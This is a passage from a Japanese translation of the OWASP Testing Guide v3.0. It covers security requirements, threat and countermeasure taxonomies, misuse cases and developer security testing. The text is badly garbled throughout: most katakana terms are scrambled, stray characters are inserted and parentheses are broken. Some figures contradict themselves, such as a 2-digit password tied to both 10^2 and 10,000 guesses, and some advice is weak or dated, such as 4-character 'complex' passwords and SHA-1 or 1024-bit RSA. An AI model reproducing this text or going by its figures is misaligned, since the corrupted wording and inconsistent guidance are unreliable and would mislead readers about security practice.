ビシの 機 密 性 、 完媍 全 性 、および、 可 用 性 を 証 明 することを 意 味 します。もう1つの 目 的 は、スカャヨティ 対 策 が、 脆 弱 性 がまっ<br />

たくないか、あってもごくわわずかな 状牮 態 で 実 装 されていることを 検 証 することです。ここで 言 う 脆 弱 性 とは、<strong>OWASP</strong> トップテヱ<br />

のような 共 通 の 脆 弱 性 のことですが、SDLC において、 脅 威姕 ムデラや、セーシケード 解 析 、 侵 入 テシトのようなスカャヨティ 評<br />

価 によって 以 前 に 特牐 定 された 脆 弱 性 も 含 みます。<br />

スキャリテァ 要 求 事 項 の 文 書 化<br />

スカャヨティ 要 求 事 項 の 文 書 化 における 最 初 のシテップは、「 事 業 上 の 要 求 事 項 」を 理 解 することです。 事 業 上 の 要 求 事 項<br />

の 文 書 は、アプヨクーサュヱに 予 想 される 機 能 の 最 初 の、 高 水 準 の 情 報 を 提 供 することができるでしょう。 例 えば、アプヨクー<br />

サュヱの 主 目 的 は、 顧 客 に 金 融 コービシを 提 供 することかもしれませんし、エヱョイヱォソルギから 商 品 を 選遥 択 し、 支 払 いを<br />

済 ませることかもしれません。 事 業 上 の 要 求 事 項 のスカャヨティに 関 する 部邪 分 は、 規 則 、 標 準 、 内 部邪 規 程 などの 適遚 用 可 能 な<br />

スカャヨティ 関 係 文 書 に 準 拠 するとともに、 顧 客 情 報 を 守 る 必 要 性 に 注 目 しなければなりません。<br />

適遚 用 可 能 な 規 則 、 標 準 と 内 部邪 規 程 の 一 般 的 なタェッキヨシトは、ウェブアプヨクーサュヱの 予 備 的 なスカャヨティ 順 守 分 析 の<br />

目 的 を 十 分 に 満 足 させるものです。 例 えば、アプヨクーサュヱが 機 能 ・ 稼 動 する 事 業 領 域 及 び 国 または 州 に 関 する 情 報 を<br />

確 認 することによって、 順 守 すべき 規 則 を 特牐 定 することができます。このような 順 守 オイドョイヱと 規 則 のいくつかについては、<br />

スカャヨティ 対 策 のために 特牐 定 の 技 術 的 要 求 事 項 に 言 い 換 えられているかもしれません。 例 えば、 金 融 のアプヨクーサュヱ<br />

の 事 例 では、 認 証 のための FFIEC( 米 国 連連 邦邅 金 融 機 関 検 査 協 議 会 'オイドョイヱ[Y13]の 順 守 では、 金 融 機 関 が 多 重 のスカ<br />

ャヨティ 対 策 と 多 要 素 認 証 によって、 脆 弱 な 認 証 のヨシキを 緩 和 するアプヨクーサュヱを 実 装 することを 要 求 しています。<br />

また、 適遚 用 可 能 な 業 界 のスカャヨティ 標 準 は、 一 般 的 なスカャヨティ 要 求 事 項 タェッキヨシトに 取 り 込 む 必 要 もあります。 例 え<br />

ば、 顧 客 のキリザットォードデーソを 取 り 扱 うアプヨクーサュヱの 場 合 、PCI DSS(ヘイミヱトォード 業 界 デーソスカャヨティ 標 準 '<br />

[Y14]の 標 準 によって、PIN( 暗 証 番 号 'と CVV2(スカャヨティケード'デーソの 保 管 が 禁 じられ、 加 盟 店 は 保 管 している 磁 気 シ<br />

トョイプのデーソを 保 護 し、 送 信 を 暗 号 化 し、ディシプリイを 遝 蔽 (しゃへい'するように 要 求 されています。このような PCI<br />

DSS のスカャヨティ 要 求 事 項 はセーシケード 解 析 によって 妥妞 当 性 を 検 証 することができます。<br />

もう 1 つのタェッキヨシトのスキサュヱでは、 組 織 の 情 報 スカャヨティ 標 準 と 内 部邪 規 程 に 準 拠 するための 一 般 的 な 要 求 事 項 を<br />

強 制 する 必 要 があります。 機 能 的 な 要 求 事 項 の 視 点 からは、スカャヨティ 対 策 の 要 求 事 項 と 情 報 スカャヨティ 標 準 の 項 目 番<br />

号 の 対 応 関 係 を 明 確 にする 必 要 があります。このような 要 求 事 項 は、 例 えば 次 のようなものです。「アプヨクーサュヱが 使 用<br />

する 認 証 機 能 では、4 文 字 以 上 の 英 数 字 からなる 複 雑 なパシワロードを 強 制 しなければなりません。」 スカャヨティ 要 求 事 項 と<br />

順 守 規 則 を 対 応 づけていれば、スカャヨティテシトによって、 規 則 遊 反 のヨシキにさらされているかどうかを 検 証 することがで<br />

きます。 情 報 スカャヨティ 標 準 と 内 部邪 規 程 には 記 載 されていないスカャヨティ 遊 反 が 発 見 された 場 合 は、 結 果 的 にヨシキにな<br />

るのであれば 文 書 化 し、 組 織 として 対 処 しなければ(つまり、 何 とかしなければ'なりません。このような 理 由 によって、スカャ<br />

ヨティ 順 守 の 要 求 事 項 は 強 制 可 能 ですから、きちんと 文 書 化 し、スカャヨティテシトで 妥妞 当 性 を 検 証 する 必 要 があります。<br />

スキャリテァ 要 求 事 項 の 検 証<br />

スカャヨティの 要 求 事 項 の 妥妞 当 性 検 証 は、 機 能 性 の 視 点 で 見 ると、スカャヨティテシトの 主 要 目 的 です。 一 方 、ヨシキボネザミ<br />

ヱトの 視 点 で 見 ると、 情 報 スカャヨティ 評 価 の 主 要 目 的 です。 高 い 水 準 では、 情 報 スカャヨティ 評 価 の 主 たるゲーラは、 基 本<br />

的 な 認 証 、 認 可 、または、 暗 号 化 の 対 策 の 欠 如 などのスカャヨティ 対 策 のガメップの 特牐 定 です。さらに 掘 り 下 げると、スカャヨ<br />

ティ 評 価 の 目 的 は、デーソの 機 密 性 、 完媍 全 性 、 可 用 性 を 確 実 にするスカャヨティ 対 策 における 潜 在 的 脆 弱 性 を 特牐 定 すると<br />

いうような、ヨシキ 分 析 にあります。 例 えば、アプヨクーサュヱが 個 人 を 特牐 定 できる 情 報 (PII'と、 機 密 性 が 高 いデーソを 取 り 扱<br />

うとき、 妥妞 当 性 を 検 証 されるスカャヨティ 要 求 事 項 は、このようなデーソを 移 送 中 、または、 保 管 中 に 暗 号 化 することを 要 求 し<br />

ている、 社 内 の 情 報 スカャヨティ 規 程 の 順 守 です。 暗 号 がデーソを 保 護 するために 使 用 されると 仮 定 すると、 暗 号 化 アラゲ<br />

31


ヨジマと 鍵 の 長 さが、 組 織 の 暗 号 化 標 準 に 従 っている 必 要 があります。 暗 号 化 標 準 では、 単 に 使 用 可 能 な 特牐 定 のアラゲヨジ<br />

マと 鍵 の 長 さを 要 求 しているだけかもしれません。 例 えば、テシトされるスカャヨティ 要 求 事 項 が、 許 可 さ 暗 号 方 式 ( 例 えば、<br />

SHA-1、RSA、3DES'が、 許 可 された 最 短 の 鍵 長 ( 例 えば、 対 称 暗 号 方 式 で 128 ビット 以 上 、 非 対 称 暗 号 方 式 で 1024 ビット<br />

以 上 'で 使 用 されているかを 照 合 することになります。<br />

スカャヨティ 評 価 の 視 点 から、スカャヨティ 要 求 事 項 は、 異 なった 成 果 物片 とテシト 方 法 論 を 使 うことによって、SDLC の 異 なるフ<br />

ェージにおいて 妥妞 当 性 を 検 証 することができます。 例 えば、 脅 威姕 ムデラは、 設 計 中 の 不 具 合 を 特牐 定 することに 焦 点 を 合 わわ<br />

せます。 安 全 なケード 解 析 とリビャーは、 開 発 中 にセーシケードのスカャヨティ 上 の 問 題 点 を 特牐 定 することに 焦 点 を 合 わわせま<br />

す。また、 侵 入 テシトは、テシト/ 妥妞 当 性 検 証 中 に、アプヨクーサュヱの 脆 弱 性 を 特牐 定 することに 焦 点 を 合 わわせます。<br />

SDLC の 早 期 に 特牐 定 されたスカャヨティ 上 の 問 題 点 は、テシト 計 画 の 中 で 文 書 化 することによって、 後 日 実 施 されるスカャヨ<br />

ティテシトで 妥妞 当 性 を 検 証 できるようになります。 異 なったテシト 技 法 の 結 果 を 統 合 することによって、さらに 優 れたスカャヨテ<br />

ィのテシト 事 例 を 得 て、スカャヨティ 要 求 事 項 の 保 証 水 準 を 上 げることは 可 能 です。 例 えば、 利 用 できない 脆 弱 性 と 真 の 脆<br />

弱 性 を 識 別 することは、 侵 入 テシトの 結 果 とセーシケード 解 析 を 統 合 すれば 可 能 になります。SQL イヱザェキサュヱの 脆 弱 性<br />

のスカャヨティテシトを 考 えると、 例 えば、ブョッキペッキシテシトで 脆 弱 性 のフィヱオープヨヱト( 指 紋 'を 採 取 するために 最 初<br />

にアプヨクーサュヱのシカメヱを 行 うかもしれません。 妥妞 当 性 を 検 証 可 能 な、 潜 在 的 な SQL イヱザェキサュヱの 脆 弱 性 の 最 初<br />

の 証 拠 は、SQL の 例 外 の 生 成 です。SQL 脆 弱 性 について、さらに 検 証 を 実 施 するには、 情 報 が 公 開 された 攻 略 ツーラ(ウ<br />

キシプルイト'の SQL キウヨーの 文 法 を 改 変 するために、 手 動 で 攻 撃 経 路 に 注 入 することになるかもしれません。 悪 意 のある<br />

キウヨーが 実 行 されるまでには、 数 多 くの 試 行 錯 誤 分 析 を 行 うことになるかもしれません。テシト 実 施 者 がセーシケードを 入 手<br />

していると 仮 定 すると、どのように 脆 弱 性 を 攻 略 できる SQL 攻 撃 経 路 を 構 築 できるか( 例 えば、 機 密 デーソを 権 限 のないヤ<br />

ーゴに 返 すような、 悪 意 のあるキウヨーを 実 行 する、など'について、セーシケード 解 析 から 学婲 ぶかもしれません。<br />

脅 威 と 対 策 の 分 類 法<br />

脆 弱 性 の 根 本 的 な 原 因 を 考 慮 に 入 れた 脅 威姕 と 対 策 の 分 類 は、スカャヨティ 対 策 を 策 定 、ケーディヱギ、 構 築 する 際 の 検 証<br />

における 重 要 な 要 因 です。このことによって、 脆 弱 性 の 暴 露 による 影 響 が 緩 和 されます。ウェブアプヨクーサュヱの 場 合 、<br />

<strong>OWASP</strong> プシトテヱのように、よく 知 られた 脆 弱 性 へのスカャヨティ 対 策 は、 一 般 的 なスカャヨティ 要 求 事 項 を 導 き 出 すための、<br />

よい 出 発 点 になるでしょう。もっとはっきり 言 えば、 ウェブアプヨクーサュヱのスカャヨティの 枠 組 み[Y15]では、 脆 弱 性 の 分 類<br />

( 例 えば、 分 類 法 'を 提 供 します。この 分 類 は、 複 数 のオイドョイヱや 標 準 に 記 載 され、スカャヨティテシトによって 検 証 されま<br />

す。<br />

脅 威姕 と 対 策 の 分 類 に 焦 点 を 合 わわせると、 脅 威姕 と 脆 弱 性 の 根 本 原 因 の 用 語 を 使 ってスカャヨティ 要 求 事 項 を 定 義 することに<br />

なります。 脅 威姕 は、 例 えば、STRIDE[Y16]、すなわわち、シプーフィヱギ、ソヱパヨヱギ、 否 認 、 情 報 の 誤 公 開 、コービシ 妨妠 害 攻<br />

撃 、および、 権 限 昇 格 (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of<br />

privilege'を 使 用 して 分 類 することができます。 根 本 的 な 原 因 は、 設 計 中 のスカャヨティ 不 具 合 、ケーディヱギ 中 のスカャヨテ<br />

ィバギ、あるいは、 安 全 でない 構 成 に 起 因 する 問 題 点 などとして 分 類 することができます。 例 えば、デーソがアプヨクーサュ<br />

ヱのコーバ 層 とキョイアヱトの 間 の 信 頼 の 境 界 を 越 えるとき、 弱 い 認 証 という 脆 弱 性 の 根 本 的 な 原 因 は、 相 互 認 証 の 欠 落 か<br />

もしれません。 基 本 設 計 のリビャーにおいて、スカャヨティ 要 求 事 項 に 否 認 の 脅 威姕 を 取 り 込 むことによって、 対 策 ( 例 えば、<br />

相 互 認 証 'に 対 する 要 求 事 項 の 文 書 化 を 考 慮 に 入 れます。この 対 策 は、 後 日 、スカャヨティテシトで 妥妞 当 性 を 検 証 できます。<br />

同 様 にして、 脆 弱 性 に 対 する 脅 威姕 と 対 策 の 分 類 は、 安 全 なケーディヱギ 標 準 のようなスカャヨティ 要 求 事 項 を 文 書 化 するた<br />

めに 使 用 可 能 です。 認 証 制 御 において、よく 知 られるケーディヱギウョーの 例 では、サードを 値 に 適遚 用 せずに、パシワロード<br />

を 暗 号 化 するハッサャ 関 数 を 適遚 用 してしまうというものがあります。 安 全 なケーディヱギの 視 点 からは、この 事 例 は、ケーディ<br />

ヱギウョーに 根 本 原 因 があって、 認 証 に 使 用 される 暗 号 化 に 影 響 を 与 える 脆 弱 性 です。 根 本 的 な 原 因 が 安 全 でないケー<br />

ディヱギですので、スカャヨティの 要 求 事 項 は、 安 全 なケーディヱギ 標 準 として 文 書 化 し、SDLC の 開 発 フェージ 中 の 安 全 な<br />

ケードリビャーを 通 じて 妥妞 当 性 を 検 証 することができます。<br />

32


<strong>OWASP</strong> Testing Guide v3.0<br />

スキャリテァテステとリスク 分 析<br />

スカャヨティ 要 求 事 項 において、ヨシキ 緩 和 戦 略 をとるためには、 脆 弱 性 の 深 刻 度 を 評 価 に 入 れる 必 要 があります。 組 織 が<br />

アプヨクーサュヱで 発 見 された 脆 弱 性 のヨホザトヨ、すなわわち、 脆 弱 性 の 知 識 デーソプーシを 維 持 していると 仮 定 すると、ス<br />

カャヨティの 問 題 点 は 種 類 、 問 題 点 、 緩 和 策 、 根 本 原 因 、および、 発 見 されたアプヨクーサュヱの 対 応 箇 所 などの 項 目 ととも<br />

に 報 告 することができます。このような 脆 弱 性 の 知 識 デーソプーシは、 同 じく SDLC 全 体 を 通 じたスカャヨティテシトの 有 効 性<br />

を 解 析 するための 計 測 方 法 を 確 立 するためにも 使 用 可 能 です。<br />

例 えば、セーシケード 解 析 によって 確 認 され、 根 本 原 因 がケーディヱギウョーであって、 種 類 が 入 力 検 証 の 脆 弱 性 であると<br />

報 告 された、SQL イヱザェキサュヱのような、 入 力 妥妞 当 性 検 証 の 問 題 点 を 考 えてください。このように 暴 露 されている 脆 弱 性<br />

は、 入 力 フィーラドにいくつかの SQL イヱザェキサュヱ 攻 撃 プキソを 入 れた 探 索 のような 侵 入 テシトによって、 評 価 することが<br />

できます。また、デーソプーシに 送 信 される 前 に、 特牐 殊 な 文 字 がフィラソヨヱギされ、 脆 弱 性 を 緩 和 していることをテシトで 検<br />

証 するかもしれません。セーシケード 解 析 と 侵 入 テシトの 結 果 を 組 み 合 わわせることによって、 発 生 可 能 性 と 脆 弱 性 が 暴 露 され<br />

ているかを 判 断 して、 脆 弱 性 のヨシキ 評 価 を 計 算 することができます。 発 見 事 項 ( 例 えば、テシト 報 告 'の 中 で 脆 弱 性 ヨシキ 値<br />

を 報 告 することによって、 緩 和 戦 略 を 決 定 することができるでしょう。 例 えば、 高 ヨシキと、 中 間 ヨシキの 脆 弱 性 を 優 先 的 に 改<br />

善 する 一 方 、 低 ヨシキのものが、 将 来 的 に 改 善 することもできます。<br />

広 く 知 られた 脆 弱 性 を 攻 略 する 脅 威姕 サナヨエを 考 えることによって、スカャヨティテシトを 実 施 する 必 要 のあるアプヨクーサュ<br />

ヱ・スカャヨティ 対 策 の 潜 在 的 ヨシキを 特牐 定 することができます。 例 えば、<strong>OWASP</strong> トップテヱの 脆 弱 性 は、フィッサヱギや、プョ<br />

イバサー 遊 反 、 個 人 情 報 漏 えい、サシテマ 障 害 、デーソの 改 変 または 破 壊 、 財 務 上 の 損 失 、 企 業 イミーザ 低 下 のような 攻 撃<br />

に. 対 応 付 けることができます。このような 問 題 点 は、 脅 威姕 サナヨエの 一 部邪 として 文 書 化 しなければなりません。 脅 威姕 と 脆 弱 性<br />

という 用 語 で 考 えることによって、このような 攻 撃 サナヨエを 模 擬 する 一 連連 のテシトを 考 案 することは 可 能 です。 理 想 的 には、<br />

組 織 の 知 識 デーソプーシは、スカャヨティヨシキに 基 づいて 最 も 発 生 しそうな 攻 撃 サナヨエを 検 証 するためのテシト 事 例 を 導<br />

くために 利 用 できます。 例 えば、もし 個 人 情 報 漏 えいが 高 いヨシキであると 考 えられるのなら、 否 定 的 なテシトサナヨエによっ<br />

て、 認 証 、 暗 号 化 対 策 、 入 力 妥妞 当 性 検 証 、アキスシ 権 限 制 御 における 脆 弱 性 が 攻 略 されることによる 影 響 が 緩 和 されている<br />

かどうかを 検 証 しなければなりません。<br />

機 能 的 およびび 非 機 能 的 なテステ 要 求 事 項<br />

機 能 的 なスキャリテァ 要 求 事 項<br />

機 能 的 なスカャヨティ 要 求 事 項 の 視 点 からは、 適遚 用 可 能 な 標 準 、 内 部邪 規 程 および 規 則 は、ある 種 のスカャヨティ 対 策 と、 対<br />

策 が 機 能 することの 双 方 を 促 進逭 します。こうした 要 求 事 項 は、「 肯 定 的 な 要 求 事 項 」とも 呼 ばれます。なぜなら、 要 求 事 項 が、<br />

スカャヨティテシトを 通 じて 検 証 することができる、 期 待 される 機 能 について 述 べているからです。 肯 定 的 な 要 求 事 項 の 例 は<br />

次 のようなものです8「アプヨクーサュヱは、4 回 のルギエヱ 試 行 に 失 敗 したヤーゴをルッキアウトする」、あるいは、「パシワロード<br />

は、 最 短 6 文 字 で、 英 数 字 でなければならない」。 肯 定 的 な 要 求 事 項 の 検 証 は、 期 待 される 機 能 に 対 して、テシト 条 件 を 設<br />

定 し、あらかじめ 決 められた 入 力 を 与 えて 実 行 し、 期 待 される 出 力 を 失 敗 または 成 功 の 判 断 条 件 としてテシトすることができ<br />

ます。<br />

スカャヨティテシトによって、スカャヨティ 要 求 事 項 の 妥妞 当 性 を 検 証 するためには、スカャヨティ 要 求 事 項 が、 機 能 に 基 づいて<br />

おり、 期 待 される 機 能 ( 何 を'と、 暗 黙 的 ながらも 実 装 方 法 (どのように'を 明 確 に 記 述 する 必 要 があります。 例 えば、 認 証 に<br />

おける、 高 水 準 のスカャヨティ 設 計 の 要 求 事 項 は、 次 のようになります8<br />

• 移 送 中 および 保 管 中 のヤーゴ 認 証 情 報 と 共 有 された 秘 密 を 保 護 すること。<br />

• ディシプリイ 上 のすべての 機 密 デーソ( 例 えば、パシワロード、アォウヱト'は、 隠 蔽 すること。<br />

33


• ルギイヱ 試 行 を 一 定 回 数 失 敗 したら、ヤーゴアォウヱトをルッキすること。<br />

• 失 敗 したルギエヱの 結 果 として、ヤーゴに 具 体 的 な 認 証 失 敗 の 理 由 を 表 示 しないこと。<br />

• 攻 撃 対 象 領 域 を 制 限 するために、パシワロードは、 特牐 殊 記 号 を 含 む 英 数 字 であって、4 文 字 以 上 のものだけを 許 可<br />

すること。<br />

• パシワロード 変 更 を 悪 用 したパシワロードのブラートフェーシ( 総 当 たり' 攻 撃 を 防 ぐために、 古 いパシワロード、 新 しいパ<br />

シワロード、および、 確 認 のための 質 問 に 対 するヤーゴの 答 えを 検 証 することによって 認 証 されたヤーゴのみに、パ<br />

シワロード 変 更 する 機 能 を 許 可 すること。<br />

• 電 子婡 ミーラによってヤーゴに 一 時 的 パシワロードを 送 信 する 前 に、パシワロードヨスットのフェーマにおいて、ヤーゴ 名<br />

と、 登 録 された 電 子婡 ミーラの 妥妞 当 性 を 検 証 すること。 発 行 された 一 時 的 パシワロードは、1 回 限 りのパシワロードとするこ<br />

と。パシワロードヨスットのウェブヘーザへのヨヱキをヤーゴに 送 ること。パシワロードヨスットのウェブヘーザは、 一 時 的<br />

パシワロード、 新 しいパシワロード、 確 認 のための 質 問 に 対 するヤーゴの 答 えを 検 証 すること。<br />

リスクに 基 づいたスキャリテァ 要 求 事 項<br />

スカャヨティテシトはヨシキに 基 づいたものである 必 要 があります。つまり、 期 待 されていない 行 動 に 対 して、アプヨクーサュヱ<br />

の 妥妞 当 性 を 検 証 する 必 要 があります。これは、「 否 定 的 な 要 求 事 項 」と 呼 ばれます。なぜなら、 要 求 事 項 は、アプヨクーサュ<br />

ヱが 何 をするべきではないかを 特牐 定 しているからです。「してはならない」( 否 定 的 な' 要 求 事 項 の 例 を 次 に 示 します8<br />

• アプヨクーサュヱはデーソの 改 変 、または、 破 壊 を 許 してはならない。<br />

• アプヨクーサュヱは、 許 可 されていない 金 融 取 引 が、 悪 意 のあるヤーゴによって 悪 用 されたり、 誤 使 用 されたりして<br />

はならない。<br />

否 定 的 な 要 求 事 項 はのテシトは、より 難 しいものになります。なぜなら、 期 待 される 行 動 がないからです。したがって、 脅 威姕<br />

の 分 析 者 は、 予 知 できない 入 力 条 件 や、 原 因 、 結 果 を 考 え 出 す 必 要 があるかもしれません。このため、スカャヨティテシトは<br />

ヨシキ 分 析 と 脅 威姕 ムデラに 基 づいて 実 施 する 必 要 が 出 てきます。 重 要 なことは、 脅 威姕 を 緩 和 するための 要 因 として、 脅 威姕 サ<br />

ナヨエと 対 策 の 機 能 を 文 書 化 することです。 例 えば、 使 用 事 例 で 認 証 対 策 について、 次 のようなスカャヨティ 要 求 事 項 を、 脅<br />

威姕 と 対 策 の 視 点 から 文 書 化 することができます8<br />

• 情 報 の 誤 公 開 と 認 証 プルトケラに 対 する 攻 撃 のヨシキを 緩 和 するために、 保 管 中 、および、 送 信 時 の 認 証 デーソを<br />

暗 号 化 すること。<br />

• 辞 書 攻 撃 から 保 護 するために、 一 方 向 性 のゾイザェシト 関 数 ( 例 えば、ハッサャ 関 数 'とサードを 使 用 して、パシワロー<br />

ドを 暗 号 化 すること。<br />

• パシワロードに 対 するブラートフェーシ( 総 当 り' 攻 撃 のヨシキを 緩 和 するために、パシワロードの 複 雑 さを 強 制 すること。<br />

ルギエヱ 失 敗 が 閾 値 (しきいち'に 遉 したら、アォウヱトをルッキアウトすること。<br />

• アォウヱト 収 集 、 列 挙 のヨシキを 緩 和 するために、 認 証 情 報 の 検 証 の 際 に、 一 般 的 な 表 現 のウョーミッスーザを 表<br />

示 すること。<br />

• 中 間 者 (MiTM、ボヱイヱゴポドラ' 攻 撃 と 否 認 を 防 ぐために、キョイアヱトとコーバは 相 互 に 認 証 すること。<br />

脅 威姕 ツヨーと 攻 撃 ョイブョヨのような 脅 威姕 ムデラの 遈 具 は、 否 定 的 なテシトサナヨエを 作 成 するために 利 用 できます。 脅 威姕 ツ<br />

ヨーはラート 攻 撃 ( 例 えば、 攻 撃 者 は、 他 のヤーゴのミッスーザを 読 むことができるかもしれない'を 想 定 して、スカャヨティ<br />

34


<strong>OWASP</strong> Testing Guide v3.0<br />

対 策 の 複 数 の 攻 略 ツーラ( 例 えば、SQL イヱザェキサュヱの 脆 弱 性 のためにデーソ 妥妞 当 性 検 証 が 失 敗 する'と、このような 攻<br />

撃 を 緩 和 できることが 検 証 されている 必 要 対 策 ( 例 えば、デーソ 妥妞 当 性 検 証 と、パョミーソ 化 したキウヨを 実 装 する'が 特牐 定<br />

できます。<br />

使 用 事 例 と 誤 使 用 事 例 によるスキャリテァ 要 求 事 項 の 導 出<br />

アプヨクーサュヱの 機 能 を 記 述 する 際 に、まず 必 要 なことは、アプヨクーサュヱが 何 をどのように 実 行 するのかを 理 解 すること<br />

です。これは、 使 用 事 例 を 記 述 することによって 実 現 できます。セフトウェア 工 学婲 でよく 使 わわれるように、 使 用 事 例 を 図 で 表 示<br />

することによって、 登 場 人 物片 の 関 係 と 相 互 作 用 を 示 すことができ、また、アプヨクーサュヱにおける 登 場 人 物片 や、 登 場 人 物片 の<br />

関 係 、それぞれのサナヨエにおける 意 図 的 な 一 連連 の 行 動 、 代 替 的 な 行 動 、 特牐 別 な 要 求 事 項 、 事 前 条 件 、および、 事 後 条 件<br />

を 特牐 定 することができます。 使 用 事 例 と 同 様 に、アプヨクーサュヱの 誤 使 用 事 例 と 不 正 使 用 事 例 [Y17]では、 意 図 的 ではな<br />

い、あるいは、 悪 意 のあるアプヨクーサュヱの 使 用 サナヨエを 記 述 します。こうした 誤 使 用 および 不 正 使 用 の 事 例 は、 攻 撃 者<br />

がどのようにして、アプヨクーサュヱを 誤 使 用 、または、 不 正 使 用 することができるのかについて、サナヨエを 記 述 する 方 法 を<br />

提 供 しています。 使 用 サナヨエ 中 の 個 別 のシテップを 確 認 し、アプヨクーサュヱがどのように 悪 意 のある 攻 略 を 受 けるかを 考<br />

えることによって、 潜 在 的 な 不 具 合 や、 明 確 に 定 義 されていないアプヨクーサュヱの 局 面 などを 発 見 できることがあります。<br />

重 要 な 点 は、すべての 可 能 な 場 合 、あるいは、 少 なくとも 最 も 重 要 な 場 合 の 使 用 サナヨエと 誤 使 用 サナヨエを 記 述 すること<br />

です。 誤 使 用 サナヨエによって、 攻 撃 者 の 視 点 からアプヨクーサュヱを 解 析 することができ、また、 潜 在 的 な 脆 弱 性 と、その<br />

脆 弱 性 の 曝 露 によって 生 じる 影 響 を 緩 和 するために、 実 装 する 必 要 のある 対 策 を 特牐 定 することに 寄 与 します。すべての 使<br />

用 事 例 および 不 正 使 用 事 例 が 入 手 できたとすると、これらの 事 例 を 分 析 して、どれが 最 も 重 要 な 事 例 であって、スカャヨティ<br />

要 求 事 項 に 文 書 化 する 必 要 があるかを 判 断 することが 重 要 です。 最 も 重 要 な 誤 使 用 および 不 正 使 用 事 例 を 特牐 定 すること<br />

によって、スカャヨティヨシキを 緩 和 すべき 場 所 に 必 要 な 対 策 や、スカャヨティ 要 求 事 項 について、 文 書 化 を 推 進逭 することが<br />

できます。<br />

使 用 事 例 および 誤 使 用 事 例 [Y20]から、スカャヨティ 要 求 事 項 を 導 き 出 すためには、 機 能 的 なサナヨエと、 否 定 的 なサナヨエ<br />

を 定 義 して、これらのサナヨエを 図 示 することがとても 重 要 です。 例 えば、 認 証 における、スカャヨティ 要 求 事 項 の 導 出 の 事<br />

例 では、 次 のように 段 階 を 踏 んだ 方 法 論 に 従 うことができます。<br />

• シテップ18 機 能 的 なサナヨエを 記 述 する8 ヤーゴが、ヤーゴ 名 とパシワロードを 提 示 して、 認 証 を 受 けます。アプヨ<br />

クーサュヱは、ヤーゴの 認 証 情 報 に 基 づいてヤーゴにアキスシ 権 限 を 与 えます。 認 証 が 失 敗 したら、ヤーゴに 具<br />

体 的 なウョー 情 報 を 返 します。<br />

• シテップ28 否 定 的 なサナヨエを 記 述 する8 攻 撃 者 がアプヨクーサュヱにおいて、パシワロード 収 集 とアォウヱト 収 集<br />

の 脆 弱 性 に 対 して、ブラートフェーシ( 総 当 り' 攻 撃 / 辞 書 攻 撃 を 通 じて、 認 証 を 突 破 します。 認 証 ウョーの 際 に、<br />

どのアォウヱトが 有 効 で、 登 録 されたアォウヱト(ヤーゴ 名 'であるかが 推 定 できる、 具 体 的 なウョー 情 報 を 攻 撃 者<br />

に 提 供 しています。その 後 、 攻 撃 者 は、 有 効 なアォウヱトに 対 して、パシワロードのブラートフェーシ 攻 撃 を 試 みます。<br />

最 短 2 文 字 の 長 さで、すべて 数 字 のパシワロードに 対 するブラートフェーシ 攻 撃 では、 限 られた 回 数 (すなわわち、10^<br />

2、1 万 回 'で 推 測 に 成 功 します。<br />

• シテップ38 使 用 事 例 、 誤 使 用 事 例 を 用 いて 機 能 的 および 否 定 的 なサナヨエを 記 述 する8 次 に 示 す 図 は、 使 用 事<br />

例 と 誤 使 用 事 例 によって、スカャヨティ 要 求 事 項 を 導 出 しているところを 描 写 した 例 です。 機 能 的 なサナヨエは、ヤ<br />

ーゴの 行 動 (ヤーゴ 名 とパシワロードを 入 力 している'と、アプヨクーサュヱの 動 作 (ヤーゴを 認 証 する。もし 認 証 が 失<br />

敗 したら、ウョーミッスーザを 表 示 する'から 構 成 されています。 誤 使 用 事 例 は、 攻 撃 者 の 行 動 、すなわわち、ウョー<br />

ミッスーザから 有 効 なヤーゴ 名 を 推 測 し、パシワロードのブラートフェーシ 攻 撃 と 辞 書 攻 撃 によって 認 証 を 突 破 する<br />

35


ことから 構 成 されています。 図 を 用 いて、ヤーゴの 行 動 ( 誤 使 用 'に 対 する 脅 威姕 を 表 現 することによって、このような<br />

脅 威姕 を 緩 和 するアプヨクーサュヱの 動 作 として 対 策 を 導 き 出 すことが 可 能 です。<br />

• シテップ28 スカャヨティ 要 求 事 項 を 導 き 出 す。この 場 合 は、 認 証 に 関 して、 次 のスカャヨティ 要 求 事 項 が 導 き 出 され<br />

ます。<br />

1) パスワードは、 最 短 5 文 字 の 長 さで、 大 文 字 および 小 文 字 を 含 む 英 数 字 であること。<br />

2) アカウントは、3 回 のルギイヱ 試 行 失 敗 後 にルッキアウトすること。<br />

3) ルギエヱのウョーミッスーザは、 一 般 的 な 表 現 にすること。<br />

このようなスカャヨティ 要 求 事 項 を 文 書 化 し、テシトする 必 要 がある。<br />

36


<strong>OWASP</strong> Testing Guide v3.0<br />

開 発 者 とテステ 実 施 者 の 業 務 の 流 れに 統 合 したスキャリテァテステ<br />

開 発 者 のスキャリテァテス<br />

スキャリテァテステの テの 業 務 の 流 れ<br />

SDLC の 開 発 フェージにおけるスカャヨティテシトは、セフトウェア 開 発 者 にとって、 自 分 が 開 発 した 個 別 のセフトウェアケヱホ<br />

ーネヱトが、 他 のケヱホーネヱトと 統 合 されてアプヨクーサュヱとして 構 築 される 前 に、 安 全 であることをテシトする 最 初 の 機<br />

会 です。セフトウェアケヱホーネヱトは、アプヨクーサュヱ・プルギョポヱギ・イヱソフェーシ(API'、ョイブョヨ、 実 行 可 能 プルギョ<br />

マ、 機 能 、 方 法 、および、キョシのようなセフトウェアツーラで 構 成 されているかもしれません。スカャヨティテシトのために、 開<br />

発 者 は、セーシケード 解 析 の 結 果 を 利 用 して、 開 発 したセーシケードが 潜 在 的 脆 弱 性 を 含 まないことや、 安 全 なケーディヱギ<br />

規 約 に 従 っていることを 静 的 に 確 認 できます。スカャヨティ 単 体 テシトでは、さらに 動 的 (すなわわち、ョヱソイマ'にケヱホーネ<br />

ヱトが 予 期 されたように 機 能 することを 確 認 できます。 新 規 のケードと、 変 更 を 加 えた 既 存 ケードのどちらであっても、アプヨ<br />

クーサュヱ 全 体 に 統 合 する 前 には、 静 的 および 動 的 解 析 の 結 果 をリビャーし、 検 証 しなければなりません。アプヨクーサュヱ<br />

に 統 合 する 前 の 妥妞 当 性 検 証 は、 通 常 、 上 位 の 開 発 者 の 責 任 です。 上 位 開 発 者 は、セフトウェアスカャヨティの 内 容 について<br />

も 専 門 家 であり、 安 全 なケードリビャーを 主 導 して、ケードをアプヨクーサュヱ 全 体 に 統 合 してよいか、あるいは、さらに 変 更<br />

やテシトを 必 要 とするかについての 判 断 を 下 します。この 安 全 なケードリビャーの 業 務 の 流 れは、 正 式 な 受 け 入 れ 手 順 や、<br />

